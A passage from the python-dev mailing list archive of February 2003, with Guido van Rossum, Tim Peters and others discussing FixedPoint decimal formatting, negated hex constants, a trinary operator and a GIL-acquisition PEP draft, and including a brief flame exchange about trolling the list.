> want things to work" and aren't too worried about the details or the
> corner-cases.  (I blame this on the cruddy computer science content of
> many CIS degree programs, but that is a topic for a different rant.)

Or they have a COBOL background.  COBOL has always supported decimal
arithmetic, and it can be hard to get across to a COBOL'er that getting the
pennies right can be a problem in other languages.  It's part of the air
they breathe, beneath conscious attention.

> Nevertheless, I would like to seeing proper fixed point support in the
> Python standard library

What does "proper" mean?  The implementation of FixedPoint was easy for me,
but getting users to spell out what they really needed proved impossible.
"Proper" isn't a specification all by itself <wink>.

> with integration advise in a DB-API extension standard or PEP.  As it
> is, our applications patch many of the DB-API modules to add support
> for our own homebrew decimal types, and it is fairly cumbersome to
> maintain.

Is FixedPoint usable for you?  This person seemed to think it helped:

http://mailman.tux4web.de/pipermail/orm-devel/2002-December/000083.html

"""
  o I've created a numeric datatype and a numericColumn. They use the
    FixedPoint module you can find at

       http://fixedpoint.sourceforge.net/html/lib/module-FixedPoint.html

    This lets you use arbitrary precision/exact math just like pgsql
    does internally.
"""



From guido@python.org  Thu Feb  6 01:00:37 2003
From: guido@python.org (Guido van Rossum)
Date: Wed, 05 Feb 2003 20:00:37 -0500
Subject: [Python-Dev] FixedPoint and % specifiers.
In-Reply-To: "Your message of Wed, 05 Feb 2003 16:29:42 PST."
 <GCEDKONBLEFPPADDJCOEGEBMHOAA.whisper@oz.net>
References: <GCEDKONBLEFPPADDJCOEGEBMHOAA.whisper@oz.net>
Message-ID: <200302060100.h1610b724964@pcp02138704pcs.reston01.va.comcast.net>

> Displaying FixedPoints:
> 
> Python 2.2.1 (#34, Jul 16 2002, 16:25:42) [MSC 32 bit (Intel)] on win32
> Type "help", "copyright", "credits" or "license" for more information.
> Alternative ReadLine 1.5 -- Copyright 2001, Chris Gonnerman
> >>> from fixedpoint import *
> >>> a = FixedPoint(2.135)
> >>> print '%d' % (a)
> 2
> >>> print '%4d' % (a)
>    2
> >>> print '%e' % (a)
> 2.130000e+000
> >>> print '%f' % (a)
> 2.130000
> >>> print '%2f' % (a)
> 2.130000
> >>> print '%.2d' % (a)
> 02
> >>> print '%s' % (a)
> 2.13
> >>> a.set_precision(4)
> >>> print '%s' % (a)
> 2.1300
> 
> I naively expected the %d to produce 2.315

Eh?  In C as well as Python, %d means decimal *integer*.  The format
specifier to use fixed point notation is %f.

Please don't change this!

--Guido van Rossum (home page: http://www.python.org/~guido/)


From tim.one@comcast.net  Thu Feb  6 01:12:20 2003
From: tim.one@comcast.net (Tim Peters)
Date: Wed, 05 Feb 2003 20:12:20 -0500
Subject: [Python-Dev] RE: FixedPoint and % specifiers.
In-Reply-To: <GCEDKONBLEFPPADDJCOEGEBMHOAA.whisper@oz.net>
Message-ID: <LNBBLJKPBEHFEDALKOLCAECDDMAB.tim.one@comcast.net>

There are no ways for classes to hook into % formats, short of that if you
use %d, __int__ will be called; if you use a float format code, __float__
will be called; if you use %s, __str__ will be called.

[David]
> Displaying FixedPoints:
>
> Python 2.2.1 (#34, Jul 16 2002, 16:25:42) [MSC 32 bit (Intel)] on win32
> Type "help", "copyright", "credits" or "license" for more information.
> Alternative ReadLine 1.5 -- Copyright 2001, Chris Gonnerman
> >>> from fixedpoint import *
> >>> a = FixedPoint(2.135)

Note that the docs strongly advise against initializing a FixedPoint from a
float.  Until a decimal literal notation is added to the core (if ever),
you're much better off passing a string literal.  The docs contain examples
of why.

> >>> print '%d' % (a)
> 2
> >>> print '%4d' % (a)
>    2
> >>> print '%e' % (a)
> 2.130000e+000
> >>> print '%f' % (a)
> 2.130000
> >>> print '%2f' % (a)
> 2.130000
> >>> print '%.2d' % (a)
> 02
> >>> print '%s' % (a)
> 2.13
> >>> a.set_precision(4)
> >>> print '%s' % (a)
> 2.1300
>
> I naively expected the %d to produce 2.315

Why?  %d is an integer format code, so of course it produces an integer.
You can't start reading, e.g., "%d" as "decimal" just because you imported a
module <wink>.

> - and it would be nice, after the manner of C, to be able to specify the
>   precision (or scale if you prefer) of the output as I attempted in
>   '%.2d' and also (not shown) '%2.2d'.  This might need some work since
>   %<num>d is a field filler spec. It would be nice if given 2.135:
> 	%d  2			- int part
> 	%2d __2 		- filled int part (_'s represent spaces)
> 	%.2d 2.13 		- ?rounded? to two places
> 	%2.2d __2.13	- filled and ?rounded? to 2 places
> 	%2.5d __2.13500	- filled and zero extended
> 	%.3d 2.135 		- etc.

Hooks would have to be added to the core to support any of that.  Piles of
new features requiring core changes are out of scope for 2.3 at this stage.

> ...
> The '%s' output just looks suspicious, especially after setting the
> precision to 4! The '%s' smells of bug to me, although I see the
> code forces the initializer value to round to DEFAULT_PRECISION if a
> precision isn't given ("you lost my work!"). IMO the precision of the
> initializer should become the precision of the value and not the
> default if a (seems redundant to me) precision isn't given.

floats have no inherent precision in this sense, and the number you passed
to the constructor was not decimal 2.135.  Appendix A of the Tutorial
explains this; the number you actually passed was

    1201898150554501 / 2**49 ==
    2.1349999999999997868371792719699442386627197265625

and FixedPoint rounded that correctly to 2 decimal digits after the radix
point.  You would have been more surprised if FixedPoint had said the
precision was 49, but it does require exactly 49 digits after the decimal
point to capture your input number without loss of information.

>>> print FixedPoint.FixedPoint(2.135, 51)
2.134999999999999786837179271969944238662719726562500

>>> print FixedPoint.FixedPoint("2.135", 51)
2.135000000000000000000000000000000000000000000000000

Now forget literals -- they really aren't very interesting.  You normally
have computed quantities, and there's no hope of *guessing* "the inherent
precision" from those, unless they're also FixedPoints and so explicitly
support a reasonable notion of precision.  You can't guess this from a float
in isolation, and you can't guess anything about how many digits after the
decimal point are implied by an integer.  You either accept the
constructor's default (2), or explicitly tell it how much precision you
believe the input has.



From tim.one@comcast.net  Thu Feb  6 01:13:40 2003
From: tim.one@comcast.net (Tim Peters)
Date: Wed, 05 Feb 2003 20:13:40 -0500
Subject: [Python-Dev] FixedPoint and % specifiers.
In-Reply-To: <200302060100.h1610b724964@pcp02138704pcs.reston01.va.comcast.net>
Message-ID: <LNBBLJKPBEHFEDALKOLCOECDDMAB.tim.one@comcast.net>

[Guido]
> Eh?  In C as well as Python, %d means decimal *integer*.  The format
> specifier to use fixed point notation is %f.
>
> Please don't change this!

I sure wouldn't <wink>.  Note that use of %f ends up calling
FixedPoint.__float__(), though, and so sucks users right back into binary fp
surprises:

>>> t = FixedPoint.FixedPoint(".1")
>>> print t
0.10
>>> print "%.17f" % t
0.10000000000000001
>>> float(t) == 0.1
True
>>>

FixedPoint does the best possible job of converting 1/10 to a float, but
it's exactly as surprising as the float literal 0.1 then.



From whisper@oz.net  Thu Feb  6 01:22:51 2003
From: whisper@oz.net (David LeBlanc)
Date: Wed, 5 Feb 2003 17:22:51 -0800
Subject: [Python-Dev] FixedPoint and % specifiers.
In-Reply-To: <200302060100.h1610b724964@pcp02138704pcs.reston01.va.comcast.net>
Message-ID: <GCEDKONBLEFPPADDJCOEEECDHOAA.whisper@oz.net>

Let me be the first to state, most emphatically, that I'm not about to
change anything, ESPECIALLY the Python core! Besides, I don't have check-in
priviledges AFAIK and burgling Tim's pockets for the keys would probably
yield only pickles ;)

still-nibblingly-yours

David LeBlanc
Seattle, WA USA

> -----Original Message-----
> From: guido@python.org [mailto:guido@python.org]
> Sent: Wednesday, February 05, 2003 17:01
> To: David LeBlanc
> Cc: python-dev@python.org
> Subject: Re: [Python-Dev] FixedPoint and % specifiers.
>
>
> > Displaying FixedPoints:
> >
> > Python 2.2.1 (#34, Jul 16 2002, 16:25:42) [MSC 32 bit (Intel)] on win32
> > Type "help", "copyright", "credits" or "license" for more information.
> > Alternative ReadLine 1.5 -- Copyright 2001, Chris Gonnerman
> > >>> from fixedpoint import *
> > >>> a = FixedPoint(2.135)
> > >>> print '%d' % (a)
> > 2
> > >>> print '%4d' % (a)
> >    2
> > >>> print '%e' % (a)
> > 2.130000e+000
> > >>> print '%f' % (a)
> > 2.130000
> > >>> print '%2f' % (a)
> > 2.130000
> > >>> print '%.2d' % (a)
> > 02
> > >>> print '%s' % (a)
> > 2.13
> > >>> a.set_precision(4)
> > >>> print '%s' % (a)
> > 2.1300
> >
> > I naively expected the %d to produce 2.315
>
> Eh?  In C as well as Python, %d means decimal *integer*.  The format
> specifier to use fixed point notation is %f.
>
> Please don't change this!
>
> --Guido van Rossum (home page: http://www.python.org/~guido/)



From nas@python.ca  Thu Feb  6 01:33:55 2003
From: nas@python.ca (Neil Schemenauer)
Date: Wed, 5 Feb 2003 17:33:55 -0800
Subject: [Python-Dev] FixedPoint and % specifiers.
In-Reply-To: <LNBBLJKPBEHFEDALKOLCOECDDMAB.tim.one@comcast.net>
References: <200302060100.h1610b724964@pcp02138704pcs.reston01.va.comcast.net> <LNBBLJKPBEHFEDALKOLCOECDDMAB.tim.one@comcast.net>
Message-ID: <20030206013354.GA2401@glacier.arctrix.com>

Tim Peters wrote:
> I sure wouldn't <wink>.  Note that use of %f ends up calling
> FixedPoint.__float__(), though, and so sucks users right back into binary fp
> surprises:

Perhaps FixedPoint should not have a __float__ method.  Instead it could
have something like as_float().  That would give people a clue they are
getting into trouble.

  Neil


From jacobs@penguin.theopalgroup.com  Thu Feb  6 01:29:42 2003
From: jacobs@penguin.theopalgroup.com (Kevin Jacobs)
Date: Wed, 5 Feb 2003 20:29:42 -0500 (EST)
Subject: [Python-Dev] Fixed-point numeric type
In-Reply-To: <LNBBLJKPBEHFEDALKOLCIEBPDMAB.tim.one@comcast.net>
Message-ID: <Pine.LNX.4.44.0302052026200.7253-100000@penguin.theopalgroup.com>

On Wed, 5 Feb 2003, Tim Peters wrote:
> > Nevertheless, I would like to seeing proper fixed point support in the
> > Python standard library
> 
> What does "proper" mean?  The implementation of FixedPoint was easy for me,
> but getting users to spell out what they really needed proved impossible.
> "Proper" isn't a specification all by itself <wink>.
> 
> > with integration advise in a DB-API extension standard or PEP.  As it
> > is, our applications patch many of the DB-API modules to add support
> > for our own homebrew decimal types, and it is fairly cumbersome to
> > maintain.
> 
> Is FixedPoint usable for you?  This person seemed to think it helped:

I'm in the process of evaluating it as a replacement for our homebrew
decimal package.  Once I have a reasonable compatiblity interface, I'll run
it through our test suite and let you know.

-Kevin

-- 
--
Kevin Jacobs
The OPAL Group - Enterprise Systems Architect
Voice: (216) 986-0710 x 19         E-mail: jacobs@theopalgroup.com
Fax:   (216) 986-0714              WWW:    http://www.theopalgroup.com



From guido@python.org  Thu Feb  6 01:38:29 2003
From: guido@python.org (Guido van Rossum)
Date: Wed, 05 Feb 2003 20:38:29 -0500
Subject: [Python-Dev] FixedPoint and % specifiers.
In-Reply-To: "Your message of Wed, 05 Feb 2003 20:13:40 EST."
 <LNBBLJKPBEHFEDALKOLCOECDDMAB.tim.one@comcast.net>
References: <LNBBLJKPBEHFEDALKOLCOECDDMAB.tim.one@comcast.net>
Message-ID: <200302060138.h161cTL25176@pcp02138704pcs.reston01.va.comcast.net>

> I sure wouldn't <wink>.  Note that use of %f ends up calling
> FixedPoint.__float__(), though, and so sucks users right back into
> binary fp surprises:

Hm, maybe we should have an optional __format_as_float_string__ method
that the %f and %g specifiers can use.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From whisper@oz.net  Thu Feb  6 01:43:48 2003
From: whisper@oz.net (David LeBlanc)
Date: Wed, 5 Feb 2003 17:43:48 -0800
Subject: [Python-Dev] RE: FixedPoint and % specifiers.
In-Reply-To: <LNBBLJKPBEHFEDALKOLCAECDDMAB.tim.one@comcast.net>
Message-ID: <GCEDKONBLEFPPADDJCOEEECFHOAA.whisper@oz.net>

Well sheesh, I guess this just points to how long it's been since I've done
any serious C/C++ involving format specifiers. %f does what I expect given a
string initializer of a FixedPoint. It's confusing to think of FixedPoints
as really being Floats though.

If FixedPoint is going to be oriented towards business app programmers
and/or edu-kids, isn't the need to pass a string a bit counter intuitive?
Has the parser hacked the arg into a float by the time the __init__ sees it?
(I suppose, come to think of it, that's an obvious "yes".)

I suggest that DEFAULT_PRECISION should be 4. From the dim recesses of my
pre-history, I seem to recall that the money programmers liked that - they
_saved_ the round-offs into what was called a "penny register" and
accumulated them. When you're dealing with millions, a drip here and a drop
there and pretty soon, if you're dishonest, you can add a check to the check
processing run for some serious pocket change (this actually happened) ;)

More below:

<snip>
> floats have no inherent precision in this sense, and the number you passed
> to the constructor was not decimal 2.135.  Appendix A of the Tutorial
> explains this; the number you actually passed was
>
>     1201898150554501 / 2**49 ==
>     2.1349999999999997868371792719699442386627197265625
>
> and FixedPoint rounded that correctly to 2 decimal digits after the radix
> point.  You would have been more surprised if FixedPoint had said the
> precision was 49, but it does require exactly 49 digits after the decimal
> point to capture your input number without loss of information.
>
> >>> print FixedPoint.FixedPoint(2.135, 51)
> 2.134999999999999786837179271969944238662719726562500
>
> >>> print FixedPoint.FixedPoint("2.135", 51)
> 2.135000000000000000000000000000000000000000000000000

Ok, so FixedPoint is really just a subterfuge for floats? Seems less than
useful to our money and edu-kid users? (I think I'm hinting here that
FixedPoint should be a distinct type if it's really going to have the
semantics the intended audience expects. That probably kills it for 2.3 I
guess.)

> Now forget literals -- they really aren't very interesting.  You normally
> have computed quantities, and there's no hope of *guessing* "the inherent
> precision" from those, unless they're also FixedPoints and so explicitly
> support a reasonable notion of precision.  You can't guess this
> from a float
> in isolation, and you can't guess anything about how many digits after the
> decimal point are implied by an integer.  You either accept the
> constructor's default (2), or explicitly tell it how much precision you
> believe the input has.

Agreed - internally, a FixedPoint should retain all it's digits and only
have any idea of precision at display time IMO.

Dave LeBlanc
Seattle, WA USA



From esr@thyrsus.com  Wed Feb  5 18:43:51 2003
From: esr@thyrsus.com (Eric S. Raymond)
Date: Wed, 5 Feb 2003 13:43:51 -0500
Subject: [Python-Dev] Why did Fredrik leave the party?
In-Reply-To: <200302051448.h15EmL428173@odiug.zope.com>
References: <200302031653.h13Grof20104@odiug.zope.com> <068a01c2cc8e$31e97140$6d94fea9@newmexico> <200302042057.h14KvEI26727@odiug.zope.com> <200302041843.30945.mclay@nist.gov> <200302050207.h1527tf21975@pcp02138704pcs.reston01.va.comcast.net> <001a01c2cd1e$a1e30d40$860bf5d1@PythonToy> <200302051448.h15EmL428173@odiug.zope.com>
Message-ID: <20030205184351.GA17468@thyrsus.com>

Guido van Rossum <guido@python.org>:
>     synchronized(lock):
>         BLOCK
> 
> instead of
> 
>     lock.aqcuire()
>     try:
>         BLOCK
>     finally:
>         lock.release()
> 
> I assure you that this makes programs that use locks more readable,
> which reduces maintenance costs down the road.  But at the same time
> we can't hope to reduce every idiom to a single statement, and we must
> be careful not to destroy the language by adding too many "neat
> tricks".

I'm going to have to come out against this idea.  I think it violates
"explicit is better than implicit", and is perilously close to being
mere syntactic sugar.
-- 
		<a href="http://www.catb.org/~esr/">Eric S. Raymond</a>


From paul@prescod.net  Wed Feb  5 19:07:16 2003
From: paul@prescod.net (Paul Prescod)
Date: Wed, 05 Feb 2003 11:07:16 -0800
Subject: [Python-Dev] How to troll python-dev
Message-ID: <3E4160E4.80503@prescod.net>

I wrote this because I wanted to judge for myself based on the record 
whether the problem is that Python's "bigwigs" do not "take constructive 
criticism well."

====

http://mail.python.org/pipermail/python-dev/2003-January/032519.html

First, ask a question appropriate to python-list on python-dev. On 
python-list, there are hundreds of smart people who have discussed this 
question hundreds of times. They hang out there precisely because they 
want to discuss Python and are usually happy to shoot the shit. 
Python-dev, on the other hand, is where work takes place (when everyone 
is not distracted by trolls).

Guido and the other core python developers are unlikely to have anything 
new to contribute on the issue. Whatever thoughts they have are surely 
shared knowledge by now. There are a hundred people on python-list who 
could have told you what each post in this thread would look like (with 
the exception of those by the new troll).

Second, don't read the FAQ, or pretend not to have read the FAQ. Don't 
phrase your question in terms of a clarification of the FAQ. Rather, act 
like you are too stupid and lazy to have bothered with the FAQ. Why read 
the FAQ when you can just ask a bunch of busy developers?

Third, demonstrate your weak understanding of the problem space by 
comparing Python to a statically typed language like O'Caml rather than 
a dynamically typed one like Self.

http://mail.python.org/pipermail/python-dev/2003-January/032556.html

Fourth, act like you have perfect knowledge of the history of Python: 
"Really? It surprises me that after 10 years, this isn't something that 
has been given more priority. Is the problem simply too difficult?" The 
troll has no idea what priority it has been given. If he did, he would 
know that various smart people have thrown themselves at the problem 
repeatedly and only ever achieved partial results. This is higher 
priority than most other features get.

http://mail.python.org/pipermail/python-dev/2003-January/032556.html

Fifth, _insult_ Python on the Python list by saying: "It would be nice 
to use Python for more serious projects, but it isn't fast enough 
currently."

This implies that most people using Python are not using it for 
"serious" projects, the popularity of (e.g.) MailMan and Zope 
notwithstanding.

http://mail.python.org/pipermail/python-dev/2003-January/032562.html

Then insult our understanding of the problem, (in a response to Guido, 
no less): "I think it's clear noone really knows why this hasn't been 
done yet."

Next state a truism as if it were a deep, hidden trught: "However, 
head-way (Psycho) has been made in a very short period of time, so it 
hardly seems impossible given enough time and effort."

Nobody ever said that it was impossible given enough time and effort. 
They said that there was nobody with enough time willing to put in 
enough effort.

Now the flamewar is starting to heat up. Paint yourself as the victim. 
"What, so I can't inquire about or request a potential feature unless I 
can implement it myself? Please." Refusing to accept responsibility is 
the key to enflaming everyone else. "Look, it's obvious that I've hit a 
nerve here, but that wasn't my intention."

http://mail.python.org/pipermail/python-dev/2003-January/032582.html

Next, retreat enough to look reasonable.

http://mail.python.org/pipermail/python-dev/2003-January/032563.html

Pretend to accept some responsibility, but insult Python again at the 
same time.

http://mail.python.org/pipermail/python-dev/2003-January/032577.html

Rather than leaving when you are asked to, shift blame to the trollees.

"Has anyone ever told you guys that you don't handle constructive 
criticism well? And Guido, the problem with having a crummy attitude 
like this is that it tends to infect those around you tainting the whole 
project."

Look Graham: go to linux-kernel and tell the people there that Linux is 
not ready for "serious" work because it isn't a microkernel and see what 
happens.

  Paul Prescod



From guido@python.org  Thu Feb  6 01:48:33 2003
From: guido@python.org (Guido van Rossum)
Date: Wed, 05 Feb 2003 20:48:33 -0500
Subject: [Python-Dev] Negated hex/oct constants (SF #660455)
In-Reply-To: "Your message of Thu, 06 Feb 2003 11:42:20 +1100."
 <338366A6D2E2CA4C9DAEAE652E12A1DE19657F@au3010avexu1.global.avaya.com>
References: <338366A6D2E2CA4C9DAEAE652E12A1DE19657F@au3010avexu1.global.avaya.com>
Message-ID: <200302060148.h161mXD25238@pcp02138704pcs.reston01.va.comcast.net>

> >   >>> -(0xffffffff)
> >   1
> >   >>> -0xffffffff 
> >   -4294967295L                          <<<<-------- !!!
> >   >>> 
> 
> This is my main concern - that there is an inconsistency between
> -(0xffffffff) and -0xffffffff.

Mine too. :-)

> I think whatever is decided, this inconsistency should be fixed for
> 2.3 (and possibly back-ported to 2.2).
> 
> So we end up with either
> 
>     0xffffffff == -1
>     -0xffffffff == 1
> 
> or
> 
>     0xffffffff == 4294967295L
>     -0xffffffff == -4294967295L
> 
> and 0xffffffff is going to stay as -1 until 2.4 ...

We can't do the latter; 0xffffffff was always -1, and changing it
without at least giving a warning for one release is too abrupt.

The problem with fixing it in 2.3 so that -0xffffffff is 1, is that it
keeps changing between releases: up through 2.1 it was 1, in 2.2 it
was -4294967295L, in 2.3 it would be 1 again, and in 2.4 it would be
-4294967295L again!!!

The only saving grace is that few people ever use such hex constants
with a minus sign in front of them.  But even then, I'm not sure of
the back-and-forth is worth it.  And while you can say, "so fix it in
2.2.3 too", that doesn't mean that everybody will upgrade.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From tim_one@email.msn.com  Thu Feb  6 02:35:36 2003
From: tim_one@email.msn.com (Tim Peters)
Date: Wed, 5 Feb 2003 21:35:36 -0500
Subject: [Python-Dev] RE: FixedPoint and % specifiers.
In-Reply-To: <GCEDKONBLEFPPADDJCOEEECFHOAA.whisper@oz.net>
Message-ID: <LNBBLJKPBEHFEDALKOLCGEIBDLAB.tim_one@email.msn.com>

[David LeBlanc]
> Well sheesh, I guess this just points to how long it's been since
> I've done any serious C/C++ involving format specifiers. %f does what
> I expect given a string initializer of a FixedPoint.

Then you haven't tried enough examples yet (one of my last two msgs showed a
surprising result from "%.17f" % FixedPoint("0.1")).

> It's confusing to think of FixedPoints as really being Floats though.

They aren't floats, but they participate in Python's numeric protocols, and
"silently coerce when in a float context" is one I don't personally like but
is generally expected.  FixedPoint plays along with it, although in a
perverse way (it usually coerces the float to a FixedPoint instead of vice
versa, since that's probably less surprising more often).

> If FixedPoint is going to be oriented towards business app programmers
> and/or edu-kids, isn't the need to pass a string a bit counter intuitive?

Yes, but, as before, inputs to FixedPoint constructors are unlikely to be
literals.  In business apps, they're likely to be sucked out of databases,
most of which support a native decimal type of their own.  In that context
there's no cause for any loss of information.

> Has the parser hacked the arg into a float by the time the __init__
> sees it?  (I suppose, come to think of it, that's an obvious "yes".)

Two points!  That's right.

> I suggest that DEFAULT_PRECISION should be 4. From the dim recesses of
> my pre-history, I seem to recall that the money programmers liked that -
> they _saved_ the round-offs into what was called a "penny register" and
> accumulated them. When you're dealing with millions, a drip here
> and a drop there and pretty soon, if you're dishonest, you can add a
> check to the check processing run for some serious pocket change (this
> actually happened) ;)

This module has been in use for a few years already.  If the people who
actually used it suggested this, I'd be happy to oblige.  But this is the
first time it's been suggested, and by someone who hasn't used it "for
real", so I'm inclined to let it go at that.

> Ok, so FixedPoint is really just a subterfuge for floats?

No.  Read the docs and play more with the module.  For example, FixedPoint +
and - are always exact.  Float + and - are not.

> Seems less than useful to our money and edu-kid users? (I think I'm
> hinting here that FixedPoint should be a distinct type if it's really
> going to have the semantics the intended audience expects. That probably
> kills it for 2.3 I guess.)

FixedPoint is already a distinct type, but if you mix one with a float,
you're going to get surprised.  The surprise will come from the float part,
though, not from the FixedPoint part.  Don't mix FixedPoints with floats, or
use them in float contexts, and you won't get surprises.

> ...
> Agreed - internally, a FixedPoint should retain all it's digits and only
> have any idea of precision at display time IMO.

I don't know what this means, or do but assure you it can't be implemented.
For example, the mathematical result of FixedPoint(1)/7 doesn't have a
finite decimal representation -- "all its digits" is unbounded.  As
implemented, the result inherits its precision from the FixedPoint operand,
which can be as large as you like, but must be specified in advance.

>>> print FixedPoint(1, 70)/7
0.1428571428571428571428571428571428571428571428571428571428571428571429
>>>

Try that with floats and see what you get <wink>.



From tim_one@email.msn.com  Thu Feb  6 02:44:56 2003
From: tim_one@email.msn.com (Tim Peters)
Date: Wed, 5 Feb 2003 21:44:56 -0500
Subject: [Python-Dev] Negated hex/oct constants (SF #660455)
In-Reply-To: <200302051905.h15J51C29854@odiug.zope.com>
Message-ID: <LNBBLJKPBEHFEDALKOLCEEICDLAB.tim_one@email.msn.com>

[Guido]
> ...
> The cases that bother me are -0xffffffff in Python 2.2 and 2.3: this
> is an unintended side effect of a peephole optimization!!!
>
> It's quite unsettling:
>
>   >>> x = 0xffffffff
>   >>> x
>   -1
>   >>> -x
>   1
>   >>> -(0xffffffff)
>   1
>   >>> -0xffffffff
>   -4294967295L                          <<<<-------- !!!
>   >>>
> ...
> --- CONCLUSION ---
>
> The bad thing is that this bug is already in all versions of Python
> 2.2, as well as in Python 2.3a1.
>
> I originally thought that it absolutely had to be fixed, because the
> inconsistency between -(0xffffffff) and -0xffffffff is just too bad to
> bear.

Ya, but is it a security hole <wink>.

> On the other hand, given that it's already this way in Python 2.2, and
> will be again in Python 2.4, maybe we should leave it this way?  I
> find it almost cute that you can spell negative constants with an
> explicit minus sign.  (It's even correct in the sense that it doesn't
> issue a warning!)
>
> Opinions?  Am I crazy?  It seems too late to use the time machine --
> OTOH I could claim that this is *already* caused by time machine usage
> from the Python 2.4 era.

The Windows installer can scour the disk for previously installed Pythons,
and install one of two versions of python23.dll, depending on which broken
behavior the user is accustomed to.  If there are no installed versions of
Python, it will pick the 2.4-compatible DLL, to minimize future pain (or you
can think of it as the 2.2.2-compatible DLL, to minimize past pain).  If
there are incompatible versions of Python already installed, it will pop up
a dialog box asking the user which to install by default.  The other DLL
will be installed under a different name, and main() and WinMain() will be
fiddled to use that DLL instead if envar PYTHONMINUSOHX exists and has value
OTHER, ALTERNATEPYTHONMINUSOHXBEHAVIORPLEASE, or 1.

Short of that, I vote we keep 2.3 compatible with 2.2 and 2.4.  If anyone
ever reports this bug in 2.2 or 2.3, I'll feign genuine surprise, and
explain it was due to a time-machine backport of 2.4, which can be fixed
over the short term by upgrading to Python 1.6.1.

Note that there's another case:

>>> -037777777777
-4294967295L
>>> -(037777777777)
1
>>>

OTOH, even in 2.1.3, int() didn't agree about what these kinds of int
literals mean:

>>> int("ffffffff", 16)
Traceback (most recent call last):
  File "<stdin>", line 1, in ?
ValueError: int() literal too large: ffffffff
>>>

On the third hand, still in 2.1.3,

>>> int("0xffffffff", 0)
-1
>>>

Going back to 2.3 on the fourth hand gives another surprising pair:

>>> int("ffffffff", 16)
4294967295L
>>> int("0xffffffff", 0)
-1
>>>

A rational user will conclude that Python has no idea what hex literals mean
<0.9 wink>.



From tim_one@email.msn.com  Thu Feb  6 02:56:51 2003
From: tim_one@email.msn.com (Tim Peters)
Date: Wed, 5 Feb 2003 21:56:51 -0500
Subject: [Python-Dev] Negated hex/oct constants (SF #660455)
In-Reply-To: <LNBBLJKPBEHFEDALKOLCEEICDLAB.tim_one@email.msn.com>
Message-ID: <LNBBLJKPBEHFEDALKOLCOEIDDLAB.tim_one@email.msn.com>

Ooh!  We can't blame this one on the peephole opt, right?  In current CVS:

>>> -int("0xffffffff", 0) # and this does not generate a wng
1
>>> int("-0xffffffff", 0)
-4294967295L
>>>

As in the tail end of the last msg, the base specifier makes a big
difference here too:

>>> -int("ffffffff", 16)
-4294967295L
>>> int("-ffffffff", 16)
-4294967295L
>>>



From blunck@gst.com  Thu Feb  6 04:30:26 2003
From: blunck@gst.com (Christopher Blunck)
Date: Wed, 5 Feb 2003 23:30:26 -0500
Subject: [Python-Dev] Trinary Operators
Message-ID: <20030206043026.GA29482@homer.gst.com>

I have a brief and quick question-

What was the reasoning for not supporting trinary operators in py?

One of the great things I love about py is how much bang for your buck you
get per line of code.  I can do much more in 10 lines of py than I can do in
Java.  Being able to do something like this would really help me:
  bigger = a > b ? a : b

My workaround is to:
  def if_else(test, a, b):
    if test:
      return a
    else:
      return b
  
  bigger = if_else(a > b, a, b)


I assume this was discussed (at some point).  Was it just determined to be
"syntactic sugar" or was there some higher reason?

-c

-- 
 11:25pm  up 107 days, 15:00,  3 users,  load average: 7.67, 6.54, 6.20


From graham_guttocks@yahoo.co.nz  Thu Feb  6 04:35:51 2003
From: graham_guttocks@yahoo.co.nz (=?iso-8859-1?q?Graham=20Guttocks?=)
Date: Thu, 6 Feb 2003 17:35:51 +1300 (NZDT)
Subject: [Python-Dev] Re: How to lose potential users/developers
In-Reply-To: <3E4160E4.80503@prescod.net>
Message-ID: <20030206043551.55262.qmail@web10305.mail.yahoo.com>

Paul Prescod <paul@prescod.net> wrote: 
>
> I wrote this because I wanted to judge for myself based on the record
> whether the problem is that Python's "bigwigs" do not "take
> constructive criticism well."

Wow, what a treatise Paul. You sure have allot of free time on
your hands mate.

Is there any end to the number of Internet arseholes out there?

=====
Regards,
Graham

http://greetings.yahoo.com.au - Yahoo! Greetings
- Send some online love this Valentine's Day.


From marklists@mceahern.com  Thu Feb  6 04:48:32 2003
From: marklists@mceahern.com (Mark McEahern)
Date: Wed, 5 Feb 2003 22:48:32 -0600
Subject: [Python-Dev] Re: How to lose potential users/developers
In-Reply-To: <20030206043551.55262.qmail@web10305.mail.yahoo.com>
Message-ID: <JHEOKEOOLIGLDHCMAHMOIEMDGBAA.marklists@mceahern.com>

[Graham Guttocks]
> Wow, what a treatise Paul. You sure have allot of free time on
> your hands mate.
>
> Is there any end to the number of Internet arseholes out there?

[I only occasionally lurk on this list and I don't plan to reply any more to
this thread.  I apologize in advance for contributing to this diversion.
May you all step back from it and let it pass.  As it surely will.]

Graham, I understand that you're probably feeling attacked.  That probably
makes it only all the more likely that you'll continue to respond in the
same way.  That's unfortunate.

Perhaps you can demonstrate your character by taking the initiative and
resolving this situation amicably?

Cheers,

// m

-



From tdelaney@avaya.com  Thu Feb  6 04:50:58 2003
From: tdelaney@avaya.com (Delaney, Timothy C (Timothy))
Date: Thu, 6 Feb 2003 15:50:58 +1100
Subject: [Python-Dev] Negated hex/oct constants (SF #660455)
Message-ID: <338366A6D2E2CA4C9DAEAE652E12A1DE1965C4@au3010avexu1.global.avaya.com>

> From: Tim Peters [mailto:tim_one@email.msn.com]
>=20
> Ooh!  We can't blame this one on the peephole opt, right?  In=20
> current CVS:
>=20
> >>> -int("0xffffffff", 0) # and this does not generate a wng
> 1
> >>> int("-0xffffffff", 0)
> -4294967295L
> >>>
>=20
> As in the tail end of the last msg, the base specifier makes a big
> difference here too:
>=20
> >>> -int("ffffffff", 16)
> -4294967295L
> >>> int("-ffffffff", 16)
> -4294967295L
> >>>

Given all this, I'm +1 on leaving it as it is, and +1 on making it all =
consistent for 2.4 ...

Tim Delaney


From mhammond@skippinet.com.au  Thu Feb  6 04:54:21 2003
From: mhammond@skippinet.com.au (Mark Hammond)
Date: Thu, 6 Feb 2003 15:54:21 +1100
Subject: [Python-Dev] PEP Draft: Simplified Global Interpreter Lock acquisition for extensions
In-Reply-To: <200302051712.h15HCK128945@odiug.zope.com>
Message-ID: <009201c2cd9b$d08d47a0$530f8490@eden>

> Good PEP, Mark.  I support solving this problem once and for all.

Excellent.

> One question: you claim that some implementation of TLS (Thread Local
> Storage) is required to implement this API, but you don't give enough
> implementation details to explain this requirement.
>
> I wonder if instead of relying on TLS, you could return a void*
> pointer from PyAutoThreadState_Ensure() which must be passed back into
> PyAutoThreadState_Release()?  Or is TLS used for something else too?

OK, I will re-work that portion.  I just came up with the following
justification:

    A platform TLS implementation is required to correctly support
    PyThreadState semantics.  It is assumed that it is an error if two
    discrete PyThreadStates are used for a single thread.  Comments in
    pystate.h ("State unique per thread") support this view, although
    it is never directly stated.  Thus, this implementation will require
    some abstraction to allow at least per-thread storage of a simple
